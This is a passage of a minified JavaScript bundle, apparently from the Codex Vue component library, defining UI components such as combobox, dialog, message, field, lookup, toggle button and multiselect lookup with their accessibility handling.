c=null;t.watch(l,f=>{var m;f?c=xt(e.value&&"$el"in e.value?e.value.$el:e,(m=n.value)==null?void 0:m.$el,a):c&&(c(),c=null)})}const es=ee(pe),ts=t.defineComponent({name:"CdxCombobox",components:{CdxButton:fe,CdxIcon:G,CdxMenu:Be,CdxTextInput:tt},inheritAttrs:!1,props:{menuItems:{type:Array,required:!0},selected:{type:[String,Number],required:!0},disabled:{type:Boolean,default:!1},menuConfig:{type:Object,default:()=>({})},status:{type:String,default:"default",validator:es}},emits:["update:selected","load-more","input","change","focus","blur"],setup(e,{emit:n,attrs:o,slots:l}){const s=t.ref(),d=t.ref(),i=t.ref(),r=t.useId(),a=t.toRef(e,"selected"),u=oe(a,n,"update:selected"),c=t.ref(!1),p=t.ref(!1),f=t.computed(()=>{var $,b;return(b=($=i.value)==null?void 0:$.getHighlightedMenuItem())==null?void 0:b.id}),{computedDisabled:m,computedStatus:h}=se(t.toRef(e,"disabled"),t.toRef(e,"status")),v=t.computed(()=>({"cdx-combobox--expanded":c.value,"cdx-combobox--disabled":m.value})),{rootClasses:g,rootStyle:C,otherAttrs:B}=le(o,v);function S($){p.value&&c.value?c.value=!1:(e.menuItems.length>0||l["no-results"])&&(c.value=!0),n("focus",$)}function E($){c.value=p.value&&c.value,n("blur",$)}function V(){m.value||(p.value=!0)}function D(){var $;m.value||($=s.value)==null||$.focus()}function A($){!i.value||m.value||e.menuItems.length===0||$.key===" "||i.value.delegateKeyNavigation($)}return Me(s,i),t.watch(c,()=>{p.value=!1}),{input:s,inputWrapper:d,menu:i,menuId:r,modelWrapper:u,expanded:c,highlightedId:f,computedDisabled:m,computedStatus:h,onInputFocus:S,onInputBlur:E,onKeydown:A,onButtonClick:D,onButtonMousedown:V,cdxIconExpand:Ut,rootClasses:g,rootStyle:C,otherAttrs:B}}}),ns={ref:"inputWrapper",class:"cdx-combobox__input-wrapper"};function os(e,n,o,l,s,d){const i=t.resolveComponent("cdx-text-input"),r=t.resolveComponent("cdx-icon"),a=t.resolveComponent("cdx-button"),u=t.resolveComponent("cdx-menu");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-combobox",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.createElementVNode("div",ns,[t.createVNode(i,t.mergeProps({ref:"input",modelValue:e.modelWrapper,"onUpdate:modelValue":n[0]||(n[0]=c=>e.modelWrapper=c)},e.otherAttrs,{class:"cdx-combobox__input","aria-activedescendant":e.highlightedId,"aria-expanded":e.expanded,"aria-controls":e.menuId,disabled:e.computedDisabled,status:e.computedStatus,autocomplete:"off",role:"combobox",onKeydown:e.onKeydown,onInput:n[1]||(n[1]=c=>e.$emit("input",c)),onChange:n[2]||(n[2]=c=>e.$emit("change",c)),onFocus:e.onInputFocus,onBlur:e.onInputBlur}),null,16,["modelValue","aria-activedescendant","aria-expanded","aria-controls","disabled","status","onKeydown","onFocus","onBlur"]),t.createVNode(a,{class:"cdx-combobox__expand-button","aria-hidden":"true",disabled:e.computedDisabled,tabindex:"-1",type:"button",onMousedown:e.onButtonMousedown,onClick:e.onButtonClick},{default:t.withCtx(()=>[t.createVNode(r,{class:"cdx-combobox__expand-icon",icon:e.cdxIconExpand},null,8,["icon"])]),_:1},8,["disabled","onMousedown","onClick"])],512),t.createVNode(u,t.mergeProps({id:e.menuId,ref:"menu",selected:e.modelWrapper,"onUpdate:selected":n[3]||(n[3]=c=>e.modelWrapper=c),expanded:e.expanded,"onUpdate:expanded":n[4]||(n[4]=c=>e.expanded=c),"menu-items":e.menuItems},e.menuConfig,{onLoadMore:n[5]||(n[5]=c=>e.$emit("load-more"))}),{default:t.withCtx(({menuItem:c})=>[t.renderSlot(e.$slots,"menu-item",{menuItem:c})]),"no-results":t.withCtx(()=>[t.renderSlot(e.$slots,"no-results")]),_:3},16,["id","selected","expanded","menu-items"])],6)}const ls=_(ts,[["render",os]]);function En(e){const n=t.ref({width:void 0,height:void 0});if(typeof window!="object"||!("ResizeObserver"in window)||!("ResizeObserverEntry"in window))return n;const o=new window.ResizeObserver(s=>{const d=s[0];d&&(n.value={width:d.borderBoxSize[0].inlineSize,height:d.borderBoxSize[0].blockSize})});let l=!1;return t.onMounted(()=>{l=!0,e.value&&o.observe(e.value)}),t.onUnmounted(()=>{l=!1,o.disconnect()}),t.watch(e,s=>{l&&(o.disconnect(),n.value={width:void 0,height:void 0},s&&o.observe(s))}),n}const as=t.defineComponent({name:"CdxDialog",components:{CdxButton:fe,CdxIcon:G},inheritAttrs:!1,props:{open:{type:Boolean,default:!1},title:{type:String,required:!0},subtitle:{type:String,required:!1,default:null},hideTitle:{type:Boolean,default:!1},useCloseButton:{type:Boolean,default:!1},closeButtonLabel:{type:String,default:""},primaryAction:{type:Object,default:null},defaultAction:{type:Object,default:null},stackedActions:{type:Boolean,default:!1},target:{type:String,default:null},renderInPlace:{type:Boolean,default:!1}},emits:["update:open","primary","default"],setup(e,{emit:n}){const o=t.useId(),l=t.ref(),s=t.ref(),d=t.ref(),i=t.ref(),r=t.ref(),a=t.ref();let u=null;const c=t.computed(()=>e.useCloseButton||e.closeButtonLabel.length>0),p=_e(t.toRef(e,"closeButtonLabel"),"cdx-dialog-close-button-label","Close"),f=t.computed(()=>!e.hideTitle||c.value),m=t.computed(()=>!!e.primaryAction||!!e.defaultAction),h=En(d),v=t.computed(()=>{var L;return(L=h.value.height)!=null?L:0}),g=t.ref(!1),C=t.computed(()=>({"cdx-dialog--vertical-actions":e.stackedActions,"cdx-dialog--horizontal-actions":!e.stackedActions,"cdx-dialog--dividers":g.value})),B=t.inject("CdxTeleportTarget",void 0),S=t.computed(()=>{var L,H;return(H=(L=e.target)!=null?L:B)!=null?H:"body"}),E=t.ref(0);function V(){n("update:open",!1)}let D=!1;function A(L){D=L.target===l.value}function $(){D&&V()}function b(){I(s.value)}function k(){I(s.value,!0)}function I(L,H=!1){let q=Array.from(L.querySelectorAll('\n					input, select, textarea, button, object, a, area,\n					[contenteditable], [tabindex]:not([tabindex^="-"])\n				'));H&&(q=q.reverse());for(const y of q)if(y.focus(),document.activeElement===y)return!0;return!1}let x=[],R=[];function K(){let L=l.value;for(;L.parentElement&&L.nodeName!=="BODY";){for(const H of Array.from(L.parentElement.children))H===L||H.nodeName==="SCRIPT"||(H.hasAttribute("aria-hidden")||(H.setAttribute("aria-hidden","true"),x.push(H)),H.hasAttribute("inert")||(H.setAttribute("inert",""),R.push(H)));L=L.parentElement}}function z(){for(const L of x)L.removeAttribute("aria-hidden");for(const L of R)L.removeAttribute("inert");x=[],R=[]}function O(){return J(this,null,function*(){var L;yield t.nextTick(),E.value=window.innerWidth-document.documentElement.clientWidth,document.documentElement.style.setProperty("margin-right","".concat(E.value,"px")),document.body.classList.add("cdx-dialog-open"),K(),u=document.activeElement,I(d.value)||(L=i.value)==null||L.focus()})}function U(){document.body.classList.remove("cdx-dialog-open"),document.documentElement.style.removeProperty("margin-right"),z(),u instanceof HTMLElement&&document.contains(u)&&(u.focus(),u=null)}return t.onMounted(()=>J(this,null,function*(){e.open&&(yield O())})),t.onUnmounted(()=>{e.open&&U()}),t.watch(t.toRef(e,"open"),L=>J(this,null,function*(){L?yield O():U()})),t.watch(v,()=>{d.value&&(g.value=d.value.clientHeight<d.value.scrollHeight)}),{close:V,onBackdropClick:$,onBackdropMouseDown:A,cdxIconClose:Ye,labelId:o,rootClasses:C,backdrop:l,dialogElement:s,focusTrapStart:r,focusTrapEnd:a,focusFirst:b,focusLast:k,dialogBody:d,focusHolder:i,showHeader:f,showFooterActions:m,useCloseButtonOrLabel:c,translatedCloseButtonLabel:p,computedTarget:S}}}),ss=["aria-label","aria-labelledby"],is={key:0,class:"cdx-dialog__header__title-group"},rs=["id"],ds={key:0,class:"cdx-dialog__header__subtitle"},us={ref:"focusHolder",class:"cdx-dialog-focus-trap",tabindex:"-1"},cs={key:0,class:"cdx-dialog__footer__text"},ps={key:1,class:"cdx-dialog__footer__actions"};function fs(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-button");return t.openBlock(),t.createBlock(t.Teleport,{to:e.computedTarget,disabled:e.renderInPlace},[t.createVNode(t.Transition,{name:"cdx-dialog-fade",appear:""},{default:t.withCtx(()=>[e.open?(t.openBlock(),t.createElementBlock("div",{key:0,ref:"backdrop",class:"cdx-dialog-backdrop",onMousedown:n[5]||(n[5]=(...a)=>e.onBackdropMouseDown&&e.onBackdropMouseDown(...a)),onClick:n[6]||(n[6]=(...a)=>e.onBackdropClick&&e.onBackdropClick(...a)),onKeyup:n[7]||(n[7]=t.withKeys((...a)=>e.close&&e.close(...a),["escape"]))},[t.createElementVNode("div",{ref:"focusTrapStart",tabindex:"0",onFocus:n[0]||(n[0]=(...a)=>e.focusLast&&e.focusLast(...a))},null,544),t.createElementVNode("div",t.mergeProps({ref:"dialogElement",class:["cdx-dialog",e.rootClasses],role:"dialog"},e.$attrs,{"aria-label":e.$slots.header||e.hideTitle?e.title:void 0,"aria-labelledby":!e.$slots.header&&!e.hideTitle?e.labelId:void 0,"aria-modal":"true",onClick:n[3]||(n[3]=t.withModifiers(()=>{},["stop"]))}),[e.showHeader||e.$slots.header?(t.openBlock(),t.createElementBlock("header",{key:0,class:t.normalizeClass(["cdx-dialog__header",{"cdx-dialog__header--default":!e.$slots.header}])},[t.renderSlot(e.$slots,"header",{},()=>[e.hideTitle?t.createCommentVNode("v-if",!0):(t.openBlock(),t.createElementBlock("div",is,[t.createElementVNode("h2",{id:e.labelId,class:"cdx-dialog__header__title"},t.toDisplayString(e.title),9,rs),e.subtitle?(t.openBlock(),t.createElementBlock("p",ds,t.toDisplayString(e.subtitle),1)):t.createCommentVNode("v-if",!0)])),e.useCloseButtonOrLabel?(t.openBlock(),t.createBlock(r,{key:1,class:"cdx-dialog__header__close-button",weight:"quiet",type:"button","aria-label":e.translatedCloseButtonLabel,onClick:e.close},{default:t.withCtx(()=>[t.createVNode(i,{icon:e.cdxIconClose},null,8,["icon"])]),_:1},8,["aria-label","onClick"])):t.createCommentVNode("v-if",!0)])],2)):t.createCommentVNode("v-if",!0),t.createElementVNode("div",us,null,512),t.createElementVNode("div",{ref:"dialogBody",class:t.normalizeClass(["cdx-dialog__body",{"cdx-dialog__body--no-header":!(e.showHeader||e.$slots.header),"cdx-dialog__body--no-footer":!(e.showFooterActions||e.$slots.footer||e.$slots["footer-text"])}])},[t.renderSlot(e.$slots,"default")],2),e.showFooterActions||e.$slots.footer||e.$slots["footer-text"]?(t.openBlock(),t.createElementBlock("footer",{key:1,class:t.normalizeClass(["cdx-dialog__footer",{"cdx-dialog__footer--default":!e.$slots.footer}])},[t.renderSlot(e.$slots,"footer",{},()=>[e.$slots["footer-text"]?(t.openBlock(),t.createElementBlock("p",cs,[t.renderSlot(e.$slots,"footer-text")])):t.createCommentVNode("v-if",!0),e.showFooterActions?(t.openBlock(),t.createElementBlock("div",ps,[e.primaryAction?(t.openBlock(),t.createBlock(r,{key:0,class:"cdx-dialog__footer__primary-action",weight:"primary",action:e.primaryAction.actionType,disabled:e.primaryAction.disabled,onClick:n[1]||(n[1]=a=>e.$emit("primary"))},{default:t.withCtx(()=>[t.createTextVNode(t.toDisplayString(e.primaryAction.label),1)]),_:1},8,["action","disabled"])):t.createCommentVNode("v-if",!0),e.defaultAction?(t.openBlock(),t.createBlock(r,{key:1,class:"cdx-dialog__footer__default-action",disabled:e.defaultAction.disabled,onClick:n[2]||(n[2]=a=>e.$emit("default"))},{default:t.withCtx(()=>[t.createTextVNode(t.toDisplayString(e.defaultAction.label),1)]),_:1},8,["disabled"])):t.createCommentVNode("v-if",!0)])):t.createCommentVNode("v-if",!0)])],2)):t.createCommentVNode("v-if",!0)],16,ss),t.createElementVNode("div",{ref:"focusTrapEnd",tabindex:"0",onFocus:n[4]||(n[4]=(...a)=>e.focusFirst&&e.focusFirst(...a))},null,544)],544)):t.createCommentVNode("v-if",!0)]),_:3})],8,["to","disabled"])}const ms=_(as,[["render",fs]]),hs={notice:jt,error:Ht,warning:Kt,success:Qt},vs=t.defineComponent({name:"CdxMessage",components:{CdxButton:fe,CdxIcon:G},props:{type:{type:String,default:"notice",validator:Yt},inline:{type:Boolean,default:!1},icon:{type:[String,Object],default:null},fadeIn:{type:Boolean,default:!1},allowUserDismiss:{type:Boolean,default:!1},dismissButtonLabel:{type:String,default:""},autoDismiss:{type:[Boolean,Number],default:!1,validator:e=>typeof e=="boolean"||typeof e=="number"&&e>0}},emits:["user-dismissed","auto-dismissed"],setup(e,{emit:n}){const o=t.ref(!1),l=t.computed(()=>e.inline===!1&&(e.dismissButtonLabel.length>0||e.allowUserDismiss)),s=_e(t.toRef(e,"dismissButtonLabel"),"cdx-message-dismiss-button-label","Close"),d=t.computed(()=>e.autoDismiss===!1||e.type==="error"?!1:e.autoDismiss===!0?4e3:e.autoDismiss),i=t.computed(()=>({"cdx-message--inline":e.inline,"cdx-message--block":!e.inline,"cdx-message--user-dismissable":l.value,["cdx-message--".concat(e.type)]:!0})),r=t.computed(()=>e.icon&&e.type==="notice"?e.icon:hs[e.type]),a=t.ref("");function u(c){o.value||(a.value=c==="user-dismissed"?"cdx-message-leave-active-user":"cdx-message-leave-active-system",o.value=!0,n(c))}return t.onMounted(()=>{e.type==="error"&&e.autoDismiss!==!1?t.warn('CdxMessage: Message with type="error" cannot use auto-dismiss'):d.value&&setTimeout(()=>u("auto-dismissed"),d.value)}),{dismissed:o,userDismissable:l,translatedDismissButtonLabel:s,rootClasses:i,leaveActiveClass:a,computedIcon:r,onDismiss:u,cdxIconClose:Ye}}}),gs=["aria-live","role"],bs={class:"cdx-message__content"};function ys(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon"),r=t.resolveComponent("cdx-button");return t.openBlock(),t.createBlock(t.Transition,{name:"cdx-message",appear:e.fadeIn,"leave-active-class":e.leaveActiveClass},{default:t.withCtx(()=>[e.dismissed?t.createCommentVNode("v-if",!0):(t.openBlock(),t.createElementBlock("div",{key:0,class:t.normalizeClass(["cdx-message",e.rootClasses]),"aria-live":e.type!=="error"?"polite":void 0,role:e.type==="error"?"alert":void 0},[t.createVNode(i,{class:"cdx-message__icon--vue",icon:e.computedIcon},null,8,["icon"]),t.createElementVNode("div",bs,[t.renderSlot(e.$slots,"default")]),e.userDismissable?(t.openBlock(),t.createBlock(r,{key:0,class:"cdx-message__dismiss-button",weight:"quiet",type:"button","aria-label":e.translatedDismissButtonLabel,onClick:n[0]||(n[0]=a=>e.onDismiss("user-dismissed"))},{default:t.withCtx(()=>[t.createVNode(i,{icon:e.cdxIconClose},null,8,["icon"])]),_:1},8,["aria-label"])):t.createCommentVNode("v-if",!0)],10,gs))]),_:3},8,["appear","leave-active-class"])}const Nn=_(vs,[["render",ys]]),Cs=ee(pe),ws=t.defineComponent({name:"CdxField",components:{CdxLabel:Ae,CdxMessage:Nn},props:{labelIcon:{type:[String,Object],default:""},optional:{type:Boolean,default:!1},optionalFlag:{type:String,default:""},hideLabel:{type:Boolean,default:!1},isFieldset:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},status:{type:String,default:"default",validator:Cs},messages:{type:Object,default:()=>({})}},setup(e,{slots:n}){const{disabled:o,status:l,isFieldset:s}=t.toRefs(e),d=bt(o),i=t.computed(()=>({"cdx-field--disabled":d.value,"cdx-field--is-fieldset":s.value})),r=t.useId(),a=t.useId(),u=t.useId(),c=t.computed(()=>s.value?void 0:u);t.provide(en,c);const p=t.computed(()=>!s.value&&n.description?a:void 0);t.provide(Xe,p),t.provide(nn,d),t.provide(tn,l);const f=t.computed(()=>e.status!=="default"&&e.status in e.messages?e.messages[e.status]:""),m=t.computed(()=>e.status==="default"?"notice":e.status);return{rootClasses:i,computedDisabled:d,labelId:r,descriptionId:a,inputId:u,validationMessage:f,validationMessageType:m}}}),ks={class:"cdx-field__control"},$s={class:"cdx-field__help-text"},Bs={key:0,class:"cdx-field__validation-message"};function Ss(e,n,o,l,s,d){const i=t.resolveComponent("cdx-label"),r=t.resolveComponent("cdx-message");return t.openBlock(),t.createBlock(t.resolveDynamicComponent(e.isFieldset?"fieldset":"div"),{class:t.normalizeClass(["cdx-field",e.rootClasses]),"aria-disabled":!e.isFieldset&&e.computedDisabled?!0:void 0,disabled:e.isFieldset&&e.computedDisabled?!0:void 0},{default:t.withCtx(()=>[t.createVNode(i,{id:e.labelId,icon:e.labelIcon,"visually-hidden":e.hideLabel,optional:e.optional,"optional-flag":e.optionalFlag,"input-id":e.inputId,"description-id":e.descriptionId,disabled:e.computedDisabled,"is-legend":e.isFieldset},t.createSlots({default:t.withCtx(()=>[t.renderSlot(e.$slots,"label")]),_:2},[e.$slots.description&&e.$slots.description().length>0?{name:"description",fn:t.withCtx(()=>[t.renderSlot(e.$slots,"description")]),key:"0"}:void 0]),1032,["id","icon","visually-hidden","optional","optional-flag","input-id","description-id","disabled","is-legend"]),t.createElementVNode("div",ks,[t.renderSlot(e.$slots,"default")]),t.createElementVNode("div",$s,[t.renderSlot(e.$slots,"help-text")]),!e.computedDisabled&&e.validationMessage||e.$slots[e.validationMessageType]?(t.openBlock(),t.createElementBlock("div",Bs,[t.createVNode(r,{type:e.validationMessageType,inline:!0},{default:t.withCtx(()=>[e.status==="warning"&&e.$slots.warning?t.renderSlot(e.$slots,"warning",{key:0}):e.status==="error"&&e.$slots.error?t.renderSlot(e.$slots,"error",{key:1}):e.status==="success"&&e.$slots.success?t.renderSlot(e.$slots,"success",{key:2}):(t.openBlock(),t.createElementBlock(t.Fragment,{key:3},[t.createTextVNode(t.toDisplayString(e.validationMessage),1)],64))]),_:3},8,["type"])])):t.createCommentVNode("v-if",!0)]),_:3},8,["class","aria-disabled","disabled"])}const Is=_(ws,[["render",Ss]]),xs={notice:jt,error:Ht,warning:Kt,success:Qt},Vs=t.defineComponent({name:"CdxInfoChip",components:{CdxIcon:G},props:{status:{type:String,default:"notice",validator:Yt},icon:{type:[String,Object],default:null}},setup(e){const n=t.computed(()=>({["cdx-info-chip--".concat(e.status)]:!0})),o=t.computed(()=>e.status==="notice"?e.icon:xs[e.status]);return{rootClasses:n,computedIcon:o}}}),Es={class:"cdx-info-chip__text"};function Ns(e,n,o,l,s,d){const i=t.resolveComponent("cdx-icon");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-info-chip",e.rootClasses])},[e.computedIcon?(t.openBlock(),t.createBlock(i,{key:0,class:"cdx-info-chip__icon--vue",icon:e.computedIcon},null,8,["icon"])):t.createCommentVNode("v-if",!0),t.createElementVNode("span",Es,[t.renderSlot(e.$slots,"default")])],2)}const As=_(Vs,[["render",Ns]]),Ds=ee(pe),Ms=t.defineComponent({name:"CdxLookup",components:{CdxMenu:Be,CdxTextInput:tt},inheritAttrs:!1,props:{selected:{type:[String,Number,null],required:!0},menuItems:{type:Array,required:!0},inputValue:{type:[String,Number],default:null},initialInputValue:{type:[String,Number],default:"",validator:e=>(e&&console.warn('[CdxLookup]: prop "initialInputValue" is deprecated. Use "inputValue" instead.'),!0)},disabled:{type:Boolean,default:!1},menuConfig:{type:Object,default:()=>({})},status:{type:String,default:"default",validator:Ds}},emits:["update:selected","update:input-value","load-more","input","change","focus","blur"],setup:(e,{emit:n,attrs:o,slots:l})=>{const s=t.ref(),d=t.ref(),i=t.ref(),r=t.useId(),a=t.ref(!1),u=t.ref(!1),c=t.ref(!1),p=t.ref(e.menuItems),{computedDisabled:f,computedStatus:m}=se(t.toRef(e,"disabled"),t.toRef(e,"status")),h=t.toRef(e,"selected"),v=oe(h,n,"update:selected"),g=t.computed(()=>{var x;return(x=i.value)==null?void 0:x.getComputedMenuItems().find(R=>R.value===v.value)}),C=t.computed(()=>{var x,R;return(R=(x=i.value)==null?void 0:x.getHighlightedMenuItem())==null?void 0:R.id}),B=t.ref(e.initialInputValue),S=Pe(B,t.toRef(e,"inputValue"),n,"update:input-value"),E=t.computed(()=>({"cdx-lookup--disabled":f.value,"cdx-lookup--pending":a.value})),{rootClasses:V,rootStyle:D,otherAttrs:A}=le(o,E);function $(x){g.value?g.value.label!==x&&g.value.value!==x&&(v.value=null):e.selected!==null&&e.selected!==x&&(v.value=null),x===""&&p.value.length===0?(u.value=!1,a.value=!1):a.value=!0,n("input",x)}function b(x){c.value=!0;const R=S.value!==null&&S.value!=="";!!(e.menuItems.length>0||l["no-results"])&&(R||p.value.length>0)&&(u.value=!0),n("focus",x)}function k(x){c.value=!1,u.value=!1,n("blur",x)}function I(x){!i.value||f.value||e.menuItems.length===0&&!l["no-results"]||x.key===" "||i.value.delegateKeyNavigation(x)}return Me(d,i),t.watch(v,x=>{var R;if(x!==null){const K=g.value?(R=g.value.label)!=null?R:g.value.value:"";S.value!==K&&(S.value=K,n("input",K))}}),t.watch(t.toRef(e,"menuItems"),x=>{c.value&&a.value&&(x.length>0||l["no-results"])&&(u.value=!0),x.length===0&&!l["no-results"]&&(u.value=!1),a.value=!1}),{rootElement:s,textInput:d,menu:i,menuId:r,highlightedId:C,computedInputValue:S,selection:v,expanded:u,computedDisabled:f,computedStatus:m,onInputBlur:k,rootClasses:V,rootStyle:D,otherAttrs:A,onUpdateInput:$,onInputFocus:b,onKeydown:I}}});function Ls(e,n,o,l,s,d){const i=t.resolveComponent("cdx-text-input"),r=t.resolveComponent("cdx-menu");return t.openBlock(),t.createElementBlock("div",{ref:"rootElement",class:t.normalizeClass(["cdx-lookup",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.createVNode(i,t.mergeProps({ref:"textInput",modelValue:e.computedInputValue,"onUpdate:modelValue":n[0]||(n[0]=a=>e.computedInputValue=a)},e.otherAttrs,{class:"cdx-lookup__input",role:"combobox",autocomplete:"off","aria-autocomplete":"list","aria-controls":e.menuId,"aria-expanded":e.expanded,"aria-activedescendant":e.highlightedId,disabled:e.computedDisabled,status:e.computedStatus,"onUpdate:modelValue":e.onUpdateInput,onChange:n[1]||(n[1]=a=>e.$emit("change",a)),onFocus:e.onInputFocus,onBlur:e.onInputBlur,onKeydown:e.onKeydown}),null,16,["modelValue","aria-controls","aria-expanded","aria-activedescendant","disabled","status","onUpdate:modelValue","onFocus","onBlur","onKeydown"]),t.createVNode(r,t.mergeProps({id:e.menuId,ref:"menu",selected:e.selection,"onUpdate:selected":n[2]||(n[2]=a=>e.selection=a),expanded:e.expanded,"onUpdate:expanded":n[3]||(n[3]=a=>e.expanded=a),"menu-items":e.menuItems},e.menuConfig,{onLoadMore:n[4]||(n[4]=a=>e.$emit("load-more"))}),{default:t.withCtx(({menuItem:a})=>[t.renderSlot(e.$slots,"menu-item",{menuItem:a})]),"no-results":t.withCtx(()=>[t.renderSlot(e.$slots,"no-results")]),_:3},16,["id","selected","expanded","menu-items"])],6)}const Ts=_(Ms,[["render",Ls]]),Rs=t.defineComponent({name:"CdxToggleButton",props:{modelValue:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},quiet:{type:Boolean,default:!1}},emits:["update:modelValue"],setup(e,{emit:n,slots:o,attrs:l}){const s=sn(o.default,l,"CdxToggleButton"),d=t.ref(!1),i=t.computed(()=>({"cdx-toggle-button--quiet":e.quiet,"cdx-toggle-button--framed":!e.quiet,"cdx-toggle-button--toggled-on":e.modelValue,"cdx-toggle-button--toggled-off":!e.modelValue,"cdx-toggle-button--icon-only":s.value,"cdx-toggle-button--is-active":d.value})),r=()=>{n("update:modelValue",!e.modelValue)},a=p=>{d.value=p};function u(){a(!0)}function c(){a(!1),r()}return{rootClasses:i,onClick:r,onKeyDown:u,onKeyUp:c}}}),Os=["aria-pressed","disabled"];function Fs(e,n,o,l,s,d){return t.openBlock(),t.createElementBlock("button",{class:t.normalizeClass(["cdx-toggle-button",e.rootClasses]),"aria-pressed":e.modelValue,disabled:e.disabled,type:"button",onClick:n[0]||(n[0]=(...i)=>e.onClick&&e.onClick(...i)),onKeydown:n[1]||(n[1]=t.withKeys(t.withModifiers((...i)=>e.onKeyDown&&e.onKeyDown(...i),["prevent"]),["space","enter"])),onKeyup:n[2]||(n[2]=t.withKeys((...i)=>e.onKeyUp&&e.onKeyUp(...i),["space","enter"]))},[t.renderSlot(e.$slots,"default")],42,Os)}const Nt=_(Rs,[["render",Fs]]),Ps=t.defineComponent({name:"CdxMenuButton",components:{CdxToggleButton:Nt,CdxMenu:Be},inheritAttrs:!1,props:{selected:{type:[String,Number,null],required:!0},menuItems:{type:Array,required:!0},menuConfig:{type:Object,default:()=>({})},disabled:{type:Boolean,default:!1},footer:{type:Object,default:null}},emits:["update:selected"],setup(e,{emit:n,attrs:o}){const l=t.ref(),s=t.ref(),d=t.toRef(e,"selected"),i=oe(d,n,"update:selected"),r=t.ref(!1),a=t.useId(),u=t.useId(),{computedDisabled:c}=se(t.toRef(e,"disabled")),{rootClasses:p,rootStyle:f,otherAttrs:m}=le(o);function h(v){!l.value||c.value||e.menuItems.length===0||v.key===" "||l.value.delegateKeyNavigation(v)}return Me(s,l,{useAvailableWidth:!0,placement:"bottom-start",offset:4}),{computedDisabled:c,expanded:r,menu:l,menuId:u,modelWrapper:i,onKeydown:h,toggle:s,toggleId:a,rootClasses:p,rootStyle:f,otherAttrs:m}}}),_s={class:"cdx-menu-button__menu-wrapper"};function zs(e,n,o,l,s,d){const i=t.resolveComponent("cdx-toggle-button"),r=t.resolveComponent("cdx-menu");return t.openBlock(),t.createElementBlock("div",{class:t.normalizeClass(["cdx-menu-button",e.rootClasses]),style:t.normalizeStyle(e.rootStyle)},[t.createVNode(i,t.mergeProps({id:e.toggleId,ref:"toggle"},e.otherAttrs,{modelValue:e.expanded,"onUpdate:modelValue":n[0]||(n[0]=a=>e.expanded=a),disabled:e.computedDisabled,quiet:"","aria-haspopup":"menu","aria-controls":e.menuId,"aria-expanded":e.expanded,onBlur:n[1]||(n[1]=a=>e.expanded=!1),onKeydown:e.onKeydown}),{default:t.withCtx(()=>[t.renderSlot(e.$slots,"default")]),_:3},16,["id","modelValue","disabled","aria-controls","aria-expanded","onKeydown"]),t.createElementVNode("div",_s,[t.createVNode(r,t.mergeProps({id:e.menuId,ref:"menu",selected:e.modelWrapper,"onUpdate:selected":n[2]||(n[2]=a=>e.modelWrapper=a),expanded:e.expanded,"onUpdate:expanded":n[3]||(n[3]=a=>e.expanded=a),"menu-items":e.menuItems},e.menuConfig,{role:"menu","aria-labelledby":e.toggleId,footer:e.footer}),{default:t.withCtx(({menuItem:a})=>[t.renderSlot(e.$slots,"menu-item",{menuItem:a})]),_:3},16,["id","selected","expanded","menu-items","aria-labelledby","footer"])])],6)}const Ks=_(Ps,[["render",zs]]),Hs=ee(pe),Us=t.defineComponent({name:"CdxMultiselectLookup",components:{CdxChipInput:cn,CdxMenu:Be},props:{inputChips:{type:Array,required:!0},selected:{type:[Array],required:!0},menuItems:{type:Array,required:!0},inputValue:{type:[String,Number],default:null},separateInput:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},readonly:{type:Boolean,default:!1},status:{type:String,default:"default",validator:Hs},menuConfig:{type:Object,default:()=>({})},keepInputOnSelection:{type:Boolean,default:!1}},emits:["update:input-chips","update:selected","update:input-value","chip-click","load-more","input","change","focus","blur"],setup:(e,{emit:n,attrs:o,slots:l})=>{const s=t.ref(),d=t.ref(),i=t.useId(),r=t.computed(()=>{var k,I;return(I=(k=d.value)==null?void 0:k.getHighlightedMenuItem())==null?void 0:I.id}),a=t.ref(!1),u=t.ref(!1),c=t.ref(!1);t.provide(Jt,t.ref(!1));const{computedDisabled:p,computedStatus:f}=se(t.toRef(e,"disabled"),t.toRef(e,"status")),m=t.computed(()=>({"cdx-multiselect-lookup--disabled":p.value,"cdx-multiselect-lookup--pending":a.value})),{rootClasses:h,rootStyle:v,otherAttrs:g}=le(o,m);Me(s,d);const C=oe(t.toRef(e,"selected"),n,"update:selected"),B=oe(t.toRef(e,"inputChips"),n,"update:input-chips"),S=t.ref(""),E=Pe(S,t.toRef(e,"inputValue"),n,"update:input-value"),V=t.computed(()=>E.value.toString().length>0&&l["no-results"]);function D(k){return J(this,null,function*(){yield t.nextTick(),a.value=k!==null&&k!=="",n("input",k)})}function A(k){c.value=!0,(e.menuItems.length>0||V.value)&&(u.value=!0),n("focus",k)}function $(k){c.value=!1,u.value=!1,n("blur",k)}function b(k){!d.value||p.value||e.menuItems.length===0&&!V.value||k.key===" "||d.value.delegateKeyNavigation(k)}return t.watch(t.toRef(e,"selected"),k=>{const I=k.filter(x=>B.value.find(R=>x===R.value)===void 0);I.length>0&&(I.forEach(x=>{var K;const R=(K=d.value)==null?void 0:K.getComputedMenuItems().find(O=>O.value===x);if(R){const z=R,{id:O}=z,U=de(z,["id"]);B.value.push(U)}}),e.keepInputOnSelection||(E.value="",n("input",""))),B.value=B.value.filter(x=>k.find(R=>x.value===R)!==void 0)}),t.watch(t.toRef(e,"inputChips"),k=>{k.length<C.value.length&&(C.value=k.map(I=>I.value))}),t.watch(t.toRef(e,"menuItems"),k=>{k.length===0&&!V.value?u.value=!1:c.value&&a.value&&(u.value=!0),a.value=!1}),{chipInput:s,menu:d,menuId:i,highlightedId:r,expanded:u,computedDisabled:p,computedStatus:f,rootClasses:h,rootStyle:v,otherAttrs:g,selectedWrapper:C,inputChipsWrapper:B,computedInputValue:E,onUpdateInputValue:D,onInputBlur:$,onInputFocus:A,onKeydown:b}}});function js(e,n,o,l,s,d){const i=t.resolveComponent("cdx-chip-input"),r=t.resolveComponent("cdx-menu");return 